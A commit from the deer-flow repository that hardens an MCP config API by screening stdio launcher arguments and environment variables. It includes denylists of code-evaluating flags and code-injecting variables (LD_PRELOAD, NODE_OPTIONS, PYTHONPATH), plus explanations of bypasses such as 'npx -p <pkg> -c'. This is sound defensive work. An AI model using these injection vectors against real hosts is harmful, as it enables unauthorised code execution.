mirror of
https://github.com/bytedance/deer-flow.git
synced 2026-08-01 19:06:01 +00:00
fix(mcp): constrain stdio launcher args and env at the config API (#4617)
* fix(mcp): constrain stdio launcher args and env at the config API
The API-managed stdio allowlist validated only `command`. Since `npx`/`uvx`
exist to fetch and run code, allowlisting the command name alone named a
binary without constraining what that binary ran, so the restriction did not
match the intent stated in `_validate_mcp_update_request`'s own docstring:
reducing the blast radius of a compromised authenticated browser session.
Screen two more fields on the stdio path, shared by `PUT /api/mcp/config` and
the enable branch of `PATCH`:
- `_ARBITRARY_EXEC_ARGS` rejects the flags that make a launcher evaluate a
string (`-c`, `--call`, `-e`, `--eval`, `--print`, `--shell`, `--node-arg`,
`--node-options`), matching `--flag=value` as well as `--flag value`, for
every allowlisted command rather than just `npx`/`uvx`. `-p` is deliberately
absent: it means `--package` for npx and `--python` for uv.
- `_CODE_INJECTING_ENV_VARS` rejects env names that inject code at process
startup (`NODE_OPTIONS`, `LD_PRELOAD`, `PYTHONSTARTUP`, ...), which would
otherwise sidestep the argument check.
Remote transports skip both -- they spawn nothing. Rejection messages echo
only the normalized flag, never the caller's value.
This is defense in depth, not a trust boundary: `npx`/`uvx` fetch and execute
remote packages by design, so an admin can still point one at a package they
published. Gateway admin remains equivalent to code execution on the host, and
the code, backend/AGENTS.md, and README all say so explicitly to keep the
check from being mistaken for a boundary.
`npx`/`uvx` stay in the default allowlist: nearly every official MCP server is
`npx -y @modelcontextprotocol/server-*`, so dropping them would break the
primary UI flow for adding one.
Tests cover each rejected flag spelling, case-insensitivity, `python -c` under
an extended allowlist, env injection, and the PATCH enable path, plus nine
positive cases pinning that real-world `npx`/`uvx`/`python -m` invocations
still validate.
* fix(mcp): screen PYTHONPATH and interpreter short-flag clusters
Review follow-up on the stdio launcher screen.
`PYTHONPATH` bypassed the env denylist on the *default* allowlist: `site`
imports `sitecustomize.py` from any `sys.path` entry before the tool's
entry point runs, so a caller-controlled directory is code execution
under plain `uvx` (verified against the real launcher). `PYTHONHOME` is
the same class via a repointed stdlib. Both are now rejected.
`PYTHONSTARTUP` is inert for non-interactive launchers and stays only as
belt-and-braces, now documented as such.
`-p` was exempted for every command, but it is node's `--print` --- the
long spelling was blocked while the short one passed once an operator
extended the allowlist. Whole-token matching also missed combined short
options (`node -pe`, `perl -we`, `python -Ic`). Both rules now apply to
commands outside `{npx, uvx}`, which are interpreters rather than package
runners; scoping them that way leaves the default allowlist unchanged,
since npx/uvx do not cluster short options and their trailing arguments
belong to a third-party server's own CLI where `-name` is ordinary.
`LD_LIBRARY_PATH`/`DYLD_LIBRARY_PATH` are recorded as an accepted
residual: conditional on the process loading a shadowable library, and
legitimately set by native-dependency servers.
Still defense in depth, not a trust boundary.
* docs(mcp): record NODE_PATH as an accepted search-path residual
Reviewer asked whether NODE_PATH belongs in _CODE_INJECTING_ENV_VARS for
parity with NODE_OPTIONS/PYTHONPATH. It does not, and the mechanism in the
report does not hold: verified on node v22, NODE_PATH is searched *after* the
local node_modules chain (the resolver unshifts the requiring module's paths
ahead of it), so it cannot shadow an installed dependency, and ESM import
ignores it entirely. It can only supply a CJS module that would otherwise
fail to resolve.
That puts it with LD_LIBRARY_PATH as a conditional search path, not with the
unconditional startup execution every entry in the set provides. Widen the
residual note from native-library shadowing to the general class, name
NODE_PATH in it, and pin the boundary with a test so it reads as a decision.
* fix(mcp): scope the stdio arg screen to the launcher's option region
`_arbitrary_exec_arg` inspected every element of `args`, justified by the claim
that the launchers in scope treat the token after `--` as a package name. That
is inaccurate: only the *first* token after `--` is the package name, and with
or without the separator every token from the package name onward is handed to
the third-party server's own argv, where `-c` is routinely "config" and `-e`
"env". So `npx -y @scope/server -c config.json` was rejected even though npm
never parses that `-c`, and the positive cases stayed green only because they
were picked to dodge the denylist. Over-blocking, not a bypass -- a regression
against the PR's own "the primary UI flow must keep working" goal.
Screen the launcher's own option region instead. Finding that region needs each
launcher's option *arity*, because a value is not a positional:
`npx -p <pkg> -c '<command>'` runs the command -- `-p` is `npm exec`'s
`--package` (it overrides the global `--parseable` shorthand), so `<pkg>` is
its value and npm keeps parsing its own flags. Ending the region at the first
non-flag token, the obvious rule, walks straight past that and turns an
over-block into a real eval bypass. The tables are therefore generated, not
guessed: `_NPX_BOOLEAN_ARGS` from `@npmcli/config` (npm 10.9.4) with the `-p`
override applied, `_UVX_VALUE_ARGS` from `uvx --help` (uv 0.11.1).
The unknown-option default is deliberately opposite per launcher, following the
exec set rather than symmetry. npx owns real exec flags, so an unknown option
consumes a value and keeps the region open; npm errors on options it does not
define, so that direction cannot reject an invocation that would otherwise
work. uvx owns no string-eval flag at all, so its screen is a tripwire rather
than a control, and an unknown option consumes nothing -- which keeps uv's
large and growing boolean surface from over-blocking. uvx also drops the short
spellings from its exec set, since `-c` is uv's `--constraints <file>`: an
ordinary documented option the old screen rejected outright.
Short options are matched case-sensitively now, because their case selects a
different option -- npm reads `-C` as `--prefix`, and folding it onto `-c`
rejected it. Long spellings stay case-insensitive: npm accepts `--CALL` and
runs it. Commands outside the package-launcher table are interpreters rather
than package runners and keep the unchanged whole-args screen, including the
`-p` rule and cluster decomposition.
Verified against the real launchers rather than by reading their docs. For
every argument vector in the new tests the validator's verdict matches whether
`npx` actually executes the string or passes it through to the server, and the
bypass-guard cases were confirmed to fail under the naive first-non-flag-token
boundary before being pinned.
Reported by @willem-bd on #4617. Two further false positives found while
confirming it are covered here: `uvx -c constraints.txt <tool>` above, and
`docker run -i --rm -e KEY <image>` -- the canonical GitHub MCP server
invocation -- which an operator who extends the allowlist with `docker` still
hits, since the conservative non-package-launcher path is unchanged.
---------
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
This commit is contained in:
parent
2f6cadb8b0
commit
abe0dfd8fa
10
README.md
10
README.md
@ -1150,6 +1150,16 @@ DeerFlow has key high-privilege capabilities including **system command executio
|
|||||||
- **Unauthorized illegal invocation**: Agent functionality could be discovered by unauthorized third parties or malicious internet scanners, triggering bulk unauthorized requests that execute high-risk operations such as system commands and file read/write, potentially causing serious security consequences.
|
- **Unauthorized illegal invocation**: Agent functionality could be discovered by unauthorized third parties or malicious internet scanners, triggering bulk unauthorized requests that execute high-risk operations such as system commands and file read/write, potentially causing serious security consequences.
|
||||||
- **Compliance and legal risks**: If the agent is illegally invoked to conduct cyberattacks, data theft, or other illegal activities, it may result in legal liability and compliance risks.
|
- **Compliance and legal risks**: If the agent is illegally invoked to conduct cyberattacks, data theft, or other illegal activities, it may result in legal liability and compliance risks.
|
||||||
|
|
||||||
|
### Gateway Admin Is Equivalent to Code Execution
|
||||||
|
|
||||||
|
An admin can register stdio MCP servers, which run commands inside the Gateway
|
||||||
|
container. The API restricts them to an allowlist (`npx`, `uvx` by default,
|
||||||
|
extended via `DEER_FLOW_MCP_STDIO_COMMAND_ALLOWLIST`) and rejects arguments and
|
||||||
|
environment variables that would evaluate arbitrary code. That is defense in
|
||||||
|
depth, not a boundary: these launchers exist to fetch and run remote packages,
|
||||||
|
so **treat Gateway admin as equivalent to code execution on the host** and grant
|
||||||
|
it accordingly.
|
||||||
|
|
||||||
### Deployment Defaults
|
### Deployment Defaults
|
||||||
|
|
||||||
The Docker stack publishes its entry port on `127.0.0.1` only, matching the
|
The Docker stack publishes its entry port on `127.0.0.1` only, matching the
|
||||||
|
|||||||
@ -774,6 +774,13 @@ E2B output sync records remote file versions and actual host file metadata in a
|
|||||||
- **Stdio file outputs**: Persistent stdio sessions are scoped by `user_id:thread_id`. For stdio transports only, DeerFlow pins the subprocess default `cwd` to the thread workspace and `TMPDIR`/`TMP`/`TEMP` to `workspace/.mcp/tmp/`, unless the operator explicitly configured `cwd` or temp env values. SSE/HTTP transports skip this filesystem prep entirely.
|
- **Stdio file outputs**: Persistent stdio sessions are scoped by `user_id:thread_id`. For stdio transports only, DeerFlow pins the subprocess default `cwd` to the thread workspace and `TMPDIR`/`TMP`/`TEMP` to `workspace/.mcp/tmp/`, unless the operator explicitly configured `cwd` or temp env values. SSE/HTTP transports skip this filesystem prep entirely.
|
||||||
- **Stdio path translation**: MCP-returned local file references are not copied. If a `ResourceLink` or conservative free-text path resolves to an existing file inside the thread's mounted user-data tree, it is translated deterministically to `/mnt/user-data/...`; paths outside that tree remain unchanged.
|
- **Stdio path translation**: MCP-returned local file references are not copied. If a `ResourceLink` or conservative free-text path resolves to an existing file inside the thread's mounted user-data tree, it is translated deterministically to `/mnt/user-data/...`; paths outside that tree remain unchanged.
|
||||||
- **Runtime updates**: Gateway API saves to extensions_config.json; the Gateway-embedded runtime detects changes via the resolved-path + content-signature check above, so multi-worker / stale-mtime deployments still pick up an added/removed MCP server without a restart (`PUT /api/mcp/config` keeps whole-payload validation, while `PATCH /api/mcp/config` changes only one server's `enabled` field, normalizes the same `type`/MCP-spec `transport` alias as the runtime config model, and validates the target only when enabling it; either endpoint's reset clears the cache only in its own worker). MCP, skill, and embedded-client writers share `atomic_write_extensions_config()`, which writes and fsyncs a same-directory temporary file before `os.replace()` and preserves an existing file's mode and symlink target; failed serialization or replacement leaves the prior config intact and cleans up the temporary file.
|
- **Runtime updates**: Gateway API saves to extensions_config.json; the Gateway-embedded runtime detects changes via the resolved-path + content-signature check above, so multi-worker / stale-mtime deployments still pick up an added/removed MCP server without a restart (`PUT /api/mcp/config` keeps whole-payload validation, while `PATCH /api/mcp/config` changes only one server's `enabled` field, normalizes the same `type`/MCP-spec `transport` alias as the runtime config model, and validates the target only when enabling it; either endpoint's reset clears the cache only in its own worker). MCP, skill, and embedded-client writers share `atomic_write_extensions_config()`, which writes and fsyncs a same-directory temporary file before `os.replace()` and preserves an existing file's mode and symlink target; failed serialization or replacement leaves the prior config intact and cleans up the temporary file.
|
||||||
|
- **Stdio launch policy at the HTTP boundary** (`routers/mcp.py::_validate_mcp_update_request`, shared by `PUT` and the enable branch of `PATCH`): a config file may express anything, but the API is untrusted input, so an API-registered stdio server must (a) name a bare executable from the allowlist — `_DEFAULT_MCP_STDIO_COMMAND_ALLOWLIST` = `{npx, uvx}`, extended by `DEER_FLOW_MCP_STDIO_COMMAND_ALLOWLIST`, with path separators, whitespace, and shell metacharacters rejected in `command`; (b) carry no `args` flag in `_ARBITRARY_EXEC_ARGS`; and (c) set no `env` name in `_CODE_INJECTING_ENV_VARS`. Checks (b) and (c) exist because the command check alone names a binary without constraining what that binary runs. The `env` denylist applies to **every** allowlisted command, and both denylists match `--flag=value` as well as `--flag value`. The `args` denylist's **scope depends on the command**, because where a launcher stops parsing its own flags is what decides whether a token is an exec flag at all:
|
||||||
|
|
||||||
|
- For a **package launcher** in `_PACKAGE_LAUNCHERS` (`{npx, uvx}`) only the launcher's own **option region** is screened. `npx`/`uvx` stop parsing their flags at the package name and hand every later token to the spawned server's argv, where `-c` is routinely "config" and `-e` "env" — screening those rejected ordinary third-party servers while covering nothing. A bare `--` ends the region too: only the *first* token after it is the package name. Finding that boundary needs each launcher's option **arity**, since a value is not a positional — `npx -p <pkg> -c '<command>'` **runs** the command (`-p` is `npm exec`'s `--package`, so `<pkg>` is its value and npm keeps parsing), so ending the region at the first non-flag token would walk straight past it. `_NPX_BOOLEAN_ARGS` is generated from `@npmcli/config`'s definitions (npm 10.9.4) minus the `-p` exec override; `_UVX_VALUE_ARGS` comes from `uvx --help` (uv 0.11.1). Regenerate these against a newer launcher rather than hand-editing. The unknown-option default is deliberately **opposite** per launcher, following the exec set rather than symmetry: npx owns real exec flags (`-c`/`--call`), so an unknown option consumes a value and keeps the region open (npm errors on options it does not define, so this cannot reject a working invocation); uvx owns no string-eval flag at all, so its screen is a tripwire, an unknown option consumes nothing, and uv's large boolean surface cannot over-block. uvx's exec set also drops the short spellings, because `-c` is uv's `--constraints` and `-p` its `--python`.
|
||||||
|
- Every **other** command is screened whole, with two extra rules, because it is an interpreter rather than a package runner: `-p` counts as an exec flag there (node's `--print`), and single-dash short-option clusters are decomposed letter by letter so `node -pe` cannot pass a check that only splits on `=`.
|
||||||
|
|
||||||
|
Verdicts are pinned against the real launchers: for npx, every argument vector the validator rejects is one `npx` actually executes, and every vector it allows is one `npx` passes through to the server. `env` screening covers names that execute code **unconditionally** at process startup, e.g. `PYTHONPATH`/`PYTHONHOME`, which run a caller-controlled `sitecustomize.py` at interpreter startup under plain `uvx`. Caller-controlled **search paths** are a weaker, conditional class and are an accepted residual: `LD_LIBRARY_PATH`/`DYLD_LIBRARY_PATH` (conditional on the process loading a shadowable library, and legitimately set by native-dependency servers) and `NODE_PATH` (searched *after* the local `node_modules` chain, so it cannot shadow an installed dependency, and ignored entirely by ESM `import` — it can only supply a CJS module that would otherwise fail to resolve). Do not move a search path into the set: it would make the "unconditional" rule untrue, which is how a defense-in-depth list starts being mistaken for a boundary. Remote transports skip all three — they spawn nothing.
|
||||||
|
**This is defense in depth, not a trust boundary.** `npx`/`uvx` exist to fetch and execute remote packages, so an admin can still point one at a package they published; the boundary is admin authentication plus network reachability. Do not add a check here on the assumption that it makes MCP registration safe for untrusted admins — it does not, and the fix for that is not a bigger denylist.
|
||||||
|
|
||||||
### Skills System (`packages/harness/deerflow/skills/`)
|
### Skills System (`packages/harness/deerflow/skills/`)
|
||||||
|
|
||||||
|
|||||||
@ -4,7 +4,7 @@ import logging
|
|||||||
import os
|
import os
|
||||||
import re
|
import re
|
||||||
from pathlib import Path
|
from pathlib import Path
|
||||||
from typing import Any, Literal
|
from typing import Any, Literal, NamedTuple
|
||||||
|
|
||||||
from fastapi import APIRouter, HTTPException, Request, status
|
from fastapi import APIRouter, HTTPException, Request, status
|
||||||
from pydantic import BaseModel, ConfigDict, Field, model_validator
|
from pydantic import BaseModel, ConfigDict, Field, model_validator
|
||||||
@ -32,6 +32,317 @@ _MCP_STDIO_COMMAND_ALLOWLIST_ENV = "DEER_FLOW_MCP_STDIO_COMMAND_ALLOWLIST"
|
|||||||
_DEFAULT_MCP_STDIO_COMMAND_ALLOWLIST = frozenset({"npx", "uvx"})
|
_DEFAULT_MCP_STDIO_COMMAND_ALLOWLIST = frozenset({"npx", "uvx"})
|
||||||
_SHELL_METACHARS = frozenset(";|&`$<>\n\r")
|
_SHELL_METACHARS = frozenset(";|&`$<>\n\r")
|
||||||
|
|
||||||
|
# Flags that turn an allowlisted launcher into an arbitrary code evaluator.
|
||||||
|
# Validating only the command name leaves the allowlist naming a binary
|
||||||
|
# without constraining what that binary runs, so these are screened too.
|
||||||
|
# The spellings below mean "evaluate this string" across every launcher an
|
||||||
|
# operator would plausibly allowlist (npx/uvx `--call`, python/sh `-c`,
|
||||||
|
# node/perl/ruby `-e`/`--eval`, node `--print`), plus npx's pass-through into
|
||||||
|
# node's own argv.
|
||||||
|
#
|
||||||
|
# This is defense in depth, not a trust boundary. `npx`/`uvx` exist to fetch
|
||||||
|
# and run remote code, so an admin can still point one at a package they
|
||||||
|
# published; the boundary remains admin authentication plus not exposing the
|
||||||
|
# Gateway to untrusted networks.
|
||||||
|
_ARBITRARY_EXEC_ARGS = frozenset(
|
||||||
|
{
|
||||||
|
"-c",
|
||||||
|
"--call",
|
||||||
|
"-e",
|
||||||
|
"--eval",
|
||||||
|
"--print",
|
||||||
|
"--shell",
|
||||||
|
"--node-arg",
|
||||||
|
"--node-options",
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
# Package launchers parse their own options only until the package name; every
|
||||||
|
# later token is handed to the spawned server's own CLI, where `-c` is commonly
|
||||||
|
# "config" and `-e` "env". Screening those rejected ordinary third-party servers
|
||||||
|
# without covering anything, so the screen is scoped to the option region.
|
||||||
|
#
|
||||||
|
# Finding that region needs each launcher's option *arity*, because a value is
|
||||||
|
# not a positional: `npx -p <pkg> -c '<command>'` runs the command -- `-p` is
|
||||||
|
# exec's `--package`, so `<pkg>` is its value and npm keeps parsing its own
|
||||||
|
# flags. Ending the region at the first non-flag token would walk past it.
|
||||||
|
# (Verified against npm 10.9.4 / uv 0.11.1.)
|
||||||
|
#
|
||||||
|
# The two launchers get opposite defaults for an option neither table lists,
|
||||||
|
# and the reason is the exec set above, not symmetry:
|
||||||
|
#
|
||||||
|
# `npx` really does own exec flags here (`-c`/`--call`), so an unlisted option
|
||||||
|
# must not be able to hide one. Unknown therefore consumes a value, keeping
|
||||||
|
# the region open. npm *errors* on an option it does not define, so this
|
||||||
|
# cannot reject an invocation that would otherwise work; enumerating npm's
|
||||||
|
# booleans (rather than its much larger value-taking set) is what makes the
|
||||||
|
# common `npx -y <pkg> ...` shape land on the package name.
|
||||||
|
#
|
||||||
|
# `uvx` owns no exec flag at all -- uv has no "evaluate this string" option --
|
||||||
|
# so its screen is a tripwire, not a control, and an imprecise region cannot
|
||||||
|
# walk past anything real. Unknown therefore consumes nothing, which keeps
|
||||||
|
# uv's large and growing boolean surface from over-blocking.
|
||||||
|
#
|
||||||
|
# A launcher outside this table is not a package runner and keeps the
|
||||||
|
# conservative whole-args screen below.
|
||||||
|
class _LauncherGrammar(NamedTuple):
|
||||||
|
"""How one package launcher separates its own options from the server's."""
|
||||||
|
|
||||||
|
exec_args: frozenset[str]
|
||||||
|
known_args: frozenset[str]
|
||||||
|
unknown_consumes_value: bool
|
||||||
|
|
||||||
|
def consumes_value(self, flag: str) -> bool:
|
||||||
|
if self.unknown_consumes_value:
|
||||||
|
return flag not in self.known_args
|
||||||
|
return flag in self.known_args
|
||||||
|
|
||||||
|
|
||||||
|
# npm's boolean configs, i.e. the options that do *not* consume the next token.
|
||||||
|
# Generated from `@npmcli/config`'s definitions (npm 10.9.4): every config whose
|
||||||
|
# type is Boolean, plus every nopt shorthand expanding to one of them or to a
|
||||||
|
# complete assignment such as `-d` -> `--loglevel info`. Regenerate against a
|
||||||
|
# newer npm rather than editing by hand. A boolean missing here over-blocks one
|
||||||
|
# invocation and names the flag in the rejection, which is the failure direction
|
||||||
|
# this file prefers.
|
||||||
|
_NPM_BOOLEAN_ARGS = frozenset(
|
||||||
|
{
|
||||||
|
"--all",
|
||||||
|
"--allow-same-version",
|
||||||
|
"--audit",
|
||||||
|
"--bin-links",
|
||||||
|
"--commit-hooks",
|
||||||
|
"--description",
|
||||||
|
"--dev",
|
||||||
|
"--diff-ignore-all-space",
|
||||||
|
"--diff-name-only",
|
||||||
|
"--diff-no-prefix",
|
||||||
|
"--diff-text",
|
||||||
|
"--dry-run",
|
||||||
|
"--engine-strict",
|
||||||
|
"--expect-results",
|
||||||
|
"--force",
|
||||||
|
"--foreground-scripts",
|
||||||
|
"--format-package-lock",
|
||||||
|
"--fund",
|
||||||
|
"--git-tag-version",
|
||||||
|
"--global",
|
||||||
|
"--global-style",
|
||||||
|
"--if-present",
|
||||||
|
"--ignore-scripts",
|
||||||
|
"--include-staged",
|
||||||
|
"--include-workspace-root",
|
||||||
|
"--install-links",
|
||||||
|
"--json",
|
||||||
|
"--legacy-bundling",
|
||||||
|
"--legacy-peer-deps",
|
||||||
|
"--link",
|
||||||
|
"--long",
|
||||||
|
"--offline",
|
||||||
|
"--omit-lockfile-registry-resolved",
|
||||||
|
"--optional",
|
||||||
|
"--package-lock",
|
||||||
|
"--package-lock-only",
|
||||||
|
"--parseable",
|
||||||
|
"--prefer-dedupe",
|
||||||
|
"--prefer-offline",
|
||||||
|
"--prefer-online",
|
||||||
|
"--production",
|
||||||
|
"--progress",
|
||||||
|
"--provenance",
|
||||||
|
"--read-only",
|
||||||
|
"--rebuild-bundle",
|
||||||
|
"--save",
|
||||||
|
"--save-bundle",
|
||||||
|
"--save-dev",
|
||||||
|
"--save-exact",
|
||||||
|
"--save-optional",
|
||||||
|
"--save-peer",
|
||||||
|
"--save-prod",
|
||||||
|
"--shrinkwrap",
|
||||||
|
"--sign-git-commit",
|
||||||
|
"--sign-git-tag",
|
||||||
|
"--strict-peer-deps",
|
||||||
|
"--strict-ssl",
|
||||||
|
"--timing",
|
||||||
|
"--unicode",
|
||||||
|
"--update-notifier",
|
||||||
|
"--usage",
|
||||||
|
"--version",
|
||||||
|
"--versions",
|
||||||
|
"--workspaces",
|
||||||
|
"--workspaces-update",
|
||||||
|
"--yes",
|
||||||
|
"-?",
|
||||||
|
"-B",
|
||||||
|
"-D",
|
||||||
|
"-E",
|
||||||
|
"-H",
|
||||||
|
"-O",
|
||||||
|
"-P",
|
||||||
|
"-S",
|
||||||
|
"-a",
|
||||||
|
"-d",
|
||||||
|
"-dd",
|
||||||
|
"-ddd",
|
||||||
|
"-desc",
|
||||||
|
"-f",
|
||||||
|
"-g",
|
||||||
|
"-h",
|
||||||
|
"-help",
|
||||||
|
"-iwr",
|
||||||
|
"-l",
|
||||||
|
"-local",
|
||||||
|
"-n",
|
||||||
|
"-no",
|
||||||
|
"-porcelain",
|
||||||
|
"-q",
|
||||||
|
"-quiet",
|
||||||
|
"-readonly",
|
||||||
|
"-s",
|
||||||
|
"-silent",
|
||||||
|
"-v",
|
||||||
|
"-verbose",
|
||||||
|
"-ws",
|
||||||
|
"-y",
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
# `npm exec` overrides the global `-p` shorthand: it is `--package <spec>` there,
|
||||||
|
# not the boolean `--parseable`. Confirmed by running it -- `npx -p . -c '<cmd>'`
|
||||||
|
# executes the command, i.e. `.` was consumed as a value and never ended the
|
||||||
|
# option region. Treating it as boolean is exactly the bypass this table exists
|
||||||
|
# to prevent, so the override is applied explicitly rather than left implicit.
|
||||||
|
_NPX_BOOLEAN_ARGS = _NPM_BOOLEAN_ARGS - {"-p"}
|
||||||
|
|
||||||
|
# uv's value-taking options (`uvx --help`, uv 0.11.1). Everything absent is
|
||||||
|
# treated as boolean; see the unknown-option note above for why that default is
|
||||||
|
# safe here and inverted for npx.
|
||||||
|
_UVX_VALUE_ARGS = frozenset(
|
||||||
|
{
|
||||||
|
"--allow-insecure-host",
|
||||||
|
"--build-constraints",
|
||||||
|
"--cache-dir",
|
||||||
|
"--color",
|
||||||
|
"--config-file",
|
||||||
|
"--config-setting",
|
||||||
|
"--config-settings-package",
|
||||||
|
"--constraints",
|
||||||
|
"--default-index",
|
||||||
|
"--directory",
|
||||||
|
"--env-file",
|
||||||
|
"--exclude-newer",
|
||||||
|
"--exclude-newer-package",
|
||||||
|
"--extra-index-url",
|
||||||
|
"--find-links",
|
||||||
|
"--fork-strategy",
|
||||||
|
"--from",
|
||||||
|
"--index",
|
||||||
|
"--index-strategy",
|
||||||
|
"--index-url",
|
||||||
|
"--keyring-provider",
|
||||||
|
"--link-mode",
|
||||||
|
"--no-binary-package",
|
||||||
|
"--no-build-isolation-package",
|
||||||
|
"--no-build-package",
|
||||||
|
"--no-sources-package",
|
||||||
|
"--overrides",
|
||||||
|
"--prerelease",
|
||||||
|
"--project",
|
||||||
|
"--python",
|
||||||
|
"--python-platform",
|
||||||
|
"--refresh-package",
|
||||||
|
"--reinstall-package",
|
||||||
|
"--resolution",
|
||||||
|
"--torch-backend",
|
||||||
|
"--upgrade-package",
|
||||||
|
"--with",
|
||||||
|
"--with-editable",
|
||||||
|
"--with-requirements",
|
||||||
|
"-C",
|
||||||
|
"-P",
|
||||||
|
"-b",
|
||||||
|
"-c",
|
||||||
|
"-f",
|
||||||
|
"-i",
|
||||||
|
"-p",
|
||||||
|
"-w",
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
_PACKAGE_LAUNCHERS: dict[str, _LauncherGrammar] = {
|
||||||
|
"npx": _LauncherGrammar(
|
||||||
|
exec_args=_ARBITRARY_EXEC_ARGS,
|
||||||
|
known_args=_NPX_BOOLEAN_ARGS,
|
||||||
|
unknown_consumes_value=True,
|
||||||
|
),
|
||||||
|
# uv spells `-c` `--constraints` and `-p` `--python`, so the short forms are
|
||||||
|
# dropped from its exec set; the long spellings stay as a tripwire in case a
|
||||||
|
# future uv grows one. Derived so a new entry above cannot forget this.
|
||||||
|
"uvx": _LauncherGrammar(
|
||||||
|
exec_args=frozenset(flag for flag in _ARBITRARY_EXEC_ARGS if flag.startswith("--")),
|
||||||
|
known_args=_UVX_VALUE_ARGS,
|
||||||
|
unknown_consumes_value=False,
|
||||||
|
),
|
||||||
|
}
|
||||||
|
|
||||||
|
# `-p` is `--print` (evaluate and print) on node, so exempting it everywhere
|
||||||
|
# left the short and long spellings of one flag disagreeing as soon as an
|
||||||
|
# operator extended the allowlist. It stays scoped to commands outside
|
||||||
|
# `_PACKAGE_LAUNCHERS`, where it is an ordinary selector (`--package` for npx,
|
||||||
|
# `--python` for uv), so the default allowlist is unaffected.
|
||||||
|
_EXEC_ARGS_OUTSIDE_PACKAGE_LAUNCHERS = frozenset({"-p"})
|
||||||
|
|
||||||
|
# Short options combine into one token (`node -pe`, `perl -we`, `python -Ic`),
|
||||||
|
# which whole-token matching does not see. Derived rather than restated so a
|
||||||
|
# new single-letter entry above cannot forget its clustered spelling.
|
||||||
|
_CLUSTERED_EXEC_LETTERS = frozenset(flag[1] for flag in _ARBITRARY_EXEC_ARGS | _EXEC_ARGS_OUTSIDE_PACKAGE_LAUNCHERS if len(flag) == 2 and flag.startswith("-"))
|
||||||
|
|
||||||
|
# Environment variables that inject code into a process at startup, which is
|
||||||
|
# the same bypass as an exec flag by another name.
|
||||||
|
#
|
||||||
|
# `PYTHONPATH` matters most: `site` imports `sitecustomize.py` from any
|
||||||
|
# `sys.path` entry before the tool's entry point runs, so a caller-controlled
|
||||||
|
# directory is code execution under `uvx` -- on the *default* allowlist.
|
||||||
|
# `PYTHONSTARTUP` is inert for the non-interactive launchers in scope and is
|
||||||
|
# kept only as belt-and-braces for an operator who allowlists a REPL.
|
||||||
|
#
|
||||||
|
# Known residual, accepted. Every entry below executes code *unconditionally*
|
||||||
|
# at process startup. Caller-controlled *search paths* are a different, weaker
|
||||||
|
# shape -- they reach code only if the process happens to load a name the
|
||||||
|
# caller can shadow -- and they stay out:
|
||||||
|
#
|
||||||
|
# `LD_LIBRARY_PATH`/`DYLD_LIBRARY_PATH` run a shadowed library's constructor,
|
||||||
|
# and native-dependency servers legitimately set them.
|
||||||
|
#
|
||||||
|
# `NODE_PATH` is narrower still, and not for the reason it first looks like.
|
||||||
|
# Node searches it *after* the local `node_modules` chain -- the resolver
|
||||||
|
# unshifts the requiring module's own paths ahead of it -- so it cannot
|
||||||
|
# shadow an installed dependency, and ESM `import` ignores it entirely. It
|
||||||
|
# can only supply a CJS module that would otherwise fail to resolve, i.e. an
|
||||||
|
# optional `try { require(...) } catch {}` dependency absent from the install.
|
||||||
|
#
|
||||||
|
# Adding them would make the "unconditional" rule above untrue, and a
|
||||||
|
# defense-in-depth list that grows because each entry was cheap is how it ends
|
||||||
|
# up mistaken for a boundary. A denylist is not what makes MCP registration
|
||||||
|
# safe for an untrusted admin anyway.
|
||||||
|
_CODE_INJECTING_ENV_VARS = frozenset(
|
||||||
|
{
|
||||||
|
"BASH_ENV",
|
||||||
|
"DYLD_INSERT_LIBRARIES",
|
||||||
|
"ENV",
|
||||||
|
"LD_AUDIT",
|
||||||
|
"LD_PRELOAD",
|
||||||
|
"NODE_OPTIONS",
|
||||||
|
"PERL5OPT",
|
||||||
|
"PYTHONHOME",
|
||||||
|
"PYTHONPATH",
|
||||||
|
"PYTHONSTARTUP",
|
||||||
|
"RUBYOPT",
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
class McpOAuthConfigResponse(BaseModel):
|
class McpOAuthConfigResponse(BaseModel):
|
||||||
"""OAuth configuration for an MCP server."""
|
"""OAuth configuration for an MCP server."""
|
||||||
@ -193,12 +504,91 @@ def _stdio_command_name(command: str | None, *, server_name: str) -> str:
|
|||||||
return stripped
|
return stripped
|
||||||
|
|
||||||
|
|
||||||
|
def _launcher_option_region(args: list[str], *, grammar: _LauncherGrammar) -> list[str]:
|
||||||
|
"""Return the leading args a package launcher parses as its own options.
|
||||||
|
|
||||||
|
The region ends at a bare ``--`` or at the package name -- the first token
|
||||||
|
that is neither a flag nor the value of one. A ``--flag=value`` token
|
||||||
|
carries its own value and never consumes the next one.
|
||||||
|
|
||||||
|
Arity is looked up case-sensitively, because a launcher's short options are:
|
||||||
|
npm reads ``-c`` as ``--call`` but ``-C`` as ``--prefix``, which takes a
|
||||||
|
value.
|
||||||
|
"""
|
||||||
|
region: list[str] = []
|
||||||
|
index = 0
|
||||||
|
while index < len(args):
|
||||||
|
arg = args[index]
|
||||||
|
if not isinstance(arg, str):
|
||||||
|
break
|
||||||
|
token = arg.strip()
|
||||||
|
if token == "--" or token == "-" or not token.startswith("-"):
|
||||||
|
break
|
||||||
|
region.append(token)
|
||||||
|
index += 1
|
||||||
|
if "=" not in token and grammar.consumes_value(token):
|
||||||
|
index += 1
|
||||||
|
return region
|
||||||
|
|
||||||
|
|
||||||
|
def _arbitrary_exec_arg(args: list[str], *, command: str) -> str | None:
|
||||||
|
"""Return the offending flag when an argument makes the launcher eval a string.
|
||||||
|
|
||||||
|
Handles both ``--call value`` and ``--call=value`` spellings.
|
||||||
|
|
||||||
|
For a package launcher (:data:`_PACKAGE_LAUNCHERS`) only the launcher's own
|
||||||
|
option region is screened, because everything from the package name onward
|
||||||
|
is the spawned server's argv -- ``npx -y <pkg> -c config.json`` hands
|
||||||
|
``-c config.json`` to the server, where it is "config", not eval. A bare
|
||||||
|
``--`` ends the region too: only the *first* token after it is the package
|
||||||
|
name, and the rest are that package's arguments.
|
||||||
|
|
||||||
|
Every other command is screened whole, and two extra rules apply because
|
||||||
|
such a command is an interpreter rather than a package runner: ``-p`` is an
|
||||||
|
exec flag (node's ``--print``) instead of a package/python selector, and
|
||||||
|
combined short-option clusters are decomposed so ``-pe`` cannot smuggle
|
||||||
|
past a check that only splits on ``=``.
|
||||||
|
|
||||||
|
Only the normalized flag is returned, never the caller's value, so the
|
||||||
|
rejection message does not echo a payload string back into the response.
